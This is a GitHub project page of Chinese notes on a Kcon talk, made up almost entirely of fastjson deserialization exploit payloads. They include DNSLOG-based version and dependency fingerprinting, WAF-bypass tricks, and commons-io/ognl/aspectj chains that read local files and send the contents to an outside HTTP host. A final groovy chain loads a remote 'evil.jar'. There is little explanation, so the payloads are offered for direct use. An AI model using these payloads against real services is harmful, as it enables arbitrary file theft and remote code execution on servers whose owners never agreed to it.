Discover su18/hack-fastjson-1.2.80 Open Source project by 素十八 (@su18)

Kcon Hacking JSON 议题乱记

鉴别 fastjson

DNSLOG {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}} {{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}
根据解析变化 {"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"} {"ext":"blue","name":{"$ref":"$.ext"}}
根据响应状态 {"@type":"whatever"}

鉴别 org.json

特殊字符 {a:'\r'}

鉴别 gson

浮点类型精度丢失 {a:1.111111111111111111111111111}
注释符 #\r\n{a:1}

鉴别 jackson

浮点类型精度丢失 {a:1.111111111111111111111111111}
注释符 {a:1}/*#aaaa
不支持单引号作为界定符 {'a':'b'}
多余的类成员 {"name":"a","age":18}

fastjson 版本探测：

1.2.47 版本

[
  {
    "@type": "java.lang.Class",
    "val": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "dnslog"
  }
}
]

1.2.68 版本

[
  {
    "@type": "java.lang.AutoCloseable",
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "dnslog"
  }
}
]

1.2.80 版本探测如果收到了两个 dns 请求，则证明使用了 1.2.83 版本如果收到了一个 dns 请求，则证明使用了 1.2.80 版本

[
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "x": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "first.dnslog.cn"
  }
}
},
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "message": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "second.dnslog.cn"
  }
}
}
]

异常回显 fastjson 精确版本号

{
  "@type": "java.lang.AutoCloseable"

探测环境

org.springframework.web.bind.annotation.RequestMapping
org.apache.catalina.startup.Tomcat
groovy.lang.GroovyShell
com.mysql.jdbc.Driver
java.net.http.HttpClient

如果系统存在这个类，会返回一个类实例，如果不存在会返回 null

{
  "z": {
    "@type": "java.lang.Class",
    "val": "org.springframework.web.bind.annotation.RequestMapping"
  }
}
{
  "z": {
    "@type": "java.lang.Class",
    "val": "java.net.http.HttpClient"
  }
}

通过使用 Character 将报错回显在 message 中

{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "com.mysql.jdbc.Driver"
}}

通过使用 DNSLOG 来探测依赖库

{"@type":"java.net.Inet4Address",
   "val":{"@type":"java.lang.String"
{"@type":"java.util.Locale",
   "val":{"@type":"com.alibaba.fastjson.JSONObject",{
   "@type": "java.lang.String""@type":"java.util.Locale",
   "language":{"@type":"java.lang.String"
{1:{"@type":"java.lang.Class","val":"groovy.lang.GroovyShell"}},
"country":"gv.su18.dnslog.pw"
}}
}

绕过 WAF ，在部分中间件中，multipart 支持指定 Content-Transformer-Encoding 可以使用 Base64 或 quoted-printable （QP 编码）来绕过 WAF

大量字符绕过 WAF

[11111111111111111111111111111111111,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,[11111111111111111111111111111111111... ,...,{'\x40\u0074\x79\u0070\x65':xjava.lang.AutoCloseable"... ]]]]]

各种特性

,new:[NaN,x'00',{,/*}*/'\x40\u0074\x79\u0070\x65':xjava.lang.AutoClosea ble"

文件写，结合 commons-io 代码（stream 里面写 68 的 payload）

{"x":[{"@type":"java.lang.Exception","@type":"ognl.OgnlException",},{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{  "@type":"java.lang.String"  "@type":"ognl.OgnlException",  "_evaluation":""}},{   "@type": "ognl.Evaluation",   "node": {       "@type": "ognl.ASTMethod",       "p": {           "@type": "ognl.OgnlParser",           "stream":
    }
}}]}

aspectj + ognl 任意文件读取 + DNSLOG 回显打入白名单

[{
   "@type":"java.lang.Exception",
   "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
},
   {
      "@type":"java.lang.Class",
      "val":{
         "@type":"java.lang.String"{
      "@type":"java.util.Locale",
      "val":{
         "@type":"com.alibaba.fastjson.JSONObject",{
      "@type":"java.lang.String"
      "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
      "newAnnotationProcessorUnits":[{}]
   }
}
},
   {
      "x":{
         "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
         "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
         "fileName":"aaa"
      }
   }]

aspectj + ognl 文件读取加 DNSLOG 回显

{"a":{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/Users/su18/Downloads/1.txt"},"b":
{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale", "val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String"{"$ref":"$"},"country":"aw.su18.dnslog.pw"}}}}}

commons-io + ognl + URLReader 单字节文件读取（回显情况观察数值）

{"su14":{"@type":"java.lang.Exception","@type":"ognl.OgnlException"},"su15":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{  "@type":"java.lang.String"  "@type":"ognl.OgnlException",  "_evaluation":""}},"su16":{   "@type": "ognl.Evaluation",   "node": {       "@type": "ognl.ASTMethod",       "p": {           "@type": "ognl.OgnlParser",           "stream":
{
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "file:///Users/su18/Downloads/1.txt"
          },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      },"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [
98]}]
}}}},"su17" : {"$ref":"$.su16.node.p.stream"},"su18":{
"$ref":"$.su17.bOM.bytes"}}

commons-io + ognl + URLReader 单字节文件读取（报错布尔）

[{"su15":{"@type":"java.lang.Exception","@type":"ognl.OgnlException",}},{"su16":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{  "@type":"java.lang.String"  "@type":"ognl.OgnlException",  "_evaluation":""}}},
{"su17":{   "@type": "ognl.Evaluation",   "node": {       "@type": "ognl.ASTMethod",       "p": {           "@type": "ognl.OgnlParser",           "stream":
{
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "file:///Users/su18/Downloads/1.txt"
          },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      },"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [
98]}]
}}}}},{"su18" : {"$ref":"$[2].su17.node.p.stream"}},{"su19":{
"$ref":"$[3].su18.bOM.bytes"}},{"su20":{   "@type": "ognl.Evaluation",   "node": {       "@type": "ognl.ASTMethod",       "p": {           "@type": "ognl.OgnlParser",           "stream":{     "@type": "org.apache.commons.io.input.BOMInputStream",     "delegate": {       "@type": "org.apache.commons.io.input.ReaderInputStream",       "reader":{"@type":"org.apache.commons.io.input.CharSequenceReader",
              "charSequence": {"@type": "java.lang.String"{"$ref":"$[4].su19"},"start": 0,"end": 0},       "charsetName": "UTF-8",       "bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]}}}}},{"su21" : {"$ref":"$[5].su20.node.p.stream"}}]

commons-io + ognl + URLReader 单字节文件读取 HTTPLog 布尔回显（错误的时候有 log，正确时无 log)

[{"su15":{"@type":"java.lang.Exception","@type":"ognl.OgnlException",}},{"su16":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{  "@type":"java.lang.String"  "@type":"ognl.OgnlException",  "_evaluation":""}}},
{"su17":{   "@type": "ognl.Evaluation",   "node": {       "@type": "ognl.ASTMethod",       "p": {           "@type": "ognl.OgnlParser",           "stream":
{
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "file:///Users/su18/Downloads/1.txt"
          },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      },"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [
98]}]
}}}}},{"su18" : {"$ref":"$[2].su17.node.p.stream"}},{"su19":{
"$ref":"$[3].su18.bOM.bytes"}},{"su22":{   "@type": "ognl.Evaluation",   "node": {       "@type": "ognl.ASTMethod",       "p": {           "@type": "ognl.OgnlParser",           "stream":{     "@type": "org.apache.commons.io.input.BOMInputStream",     "delegate": {       "@type": "org.apache.commons.io.input.ReaderInputStream",       "reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":{"@type":"java.lang.String"{"@type":"java.net.URL","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale","language":"http://120.48.129.28:8080/test?","country":{"@type":"java.lang.String"{"$ref":"98"}}}}},       "charsetName": "UTF-8",       "bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]}}}}},{"su23" : {"$ref":"$[5].su22.node.p.stream"}},{"su20":{   "@type": "ognl.Evaluation",   "node": {       "@type": "ognl.ASTMethod",       "p": {           "@type": "ognl.OgnlParser",           "stream":{     "@type": "org.apache.commons.io.input.BOMInputStream",     "delegate": {       "@type": "org.apache.commons.io.input.ReaderInputStream",       "reader":{"@type":"org.apache.commons.io.input.CharSequenceReader",
              "charSequence": {"@type": "java.lang.String"{"$ref":"$[4].su19"},"start": 0,"end": 0},       "charsetName": "UTF-8",       "bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]}}}}},{"su21" : {"$ref":"$[7].su20.node.p.stream"}}]

aspectj 读文件 + Character 报错回显

{
"@type":"java.lang.Character"{"c":{
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"/Users/su18/Downloads/1.txt"}}

commons-io + ognl + URLReader + aspectj HTTP Log 回显

{"su14":{"@type":"java.lang.Exception","@type":"ognl.OgnlException"},"su15":{"@type":"java.lang.Class","val":{ "@type":"com.alibaba.fastjson.JSONObject",{  "@type":"java.lang.String"  "@type":"ognl.OgnlException",  "_evaluation":""}},"su16":{   "@type": "ognl.Evaluation",   "node": {       "@type": "ognl.ASTMethod",       "p": {           "@type": "ognl.OgnlParser",           "stream":{     "@type": "org.apache.commons.io.input.BOMInputStream",     "delegate": {       "@type": "org.apache.commons.io.input.ReaderInputStream",       "reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":{"@type":"java.lang.String"{"@type":"java.net.URL","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.lang.String""@type":"java.util.Locale","language":"http://x.x.x.x:8080/test?","country":{"@type":"java.lang.String"[{"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit","fileName":"/Users/su18/Downloads/1.txt"}]}}}},       "charsetName": "UTF-8",       "bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]}}}},"su17" : {"$ref":"$.su16.node.p.stream"}}

groovy 远程类加载

加白名单

{
  "@type":"java.lang.Exception",
  "@type":"org.codehaus.groovy.control.CompilationFailedException",
  "unit":{
  }

远程类加载

{
  "@type":"org.codehaus.groovy.control.ProcessingUnit",
  "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
  "config":{
    "@type": "org.codehaus.groovy.control.CompilerConfiguration",
    "classpathList":["http://.x.x.x:8080/evil.jar"]
  },
  "gcl":null,
  "destDir": "/tmp"
}

其他PPT中的组合链感觉要求过高暂未尝试，按需不定期更新感谢作者的精彩分享

su18/hack-fastjson-1.2.80

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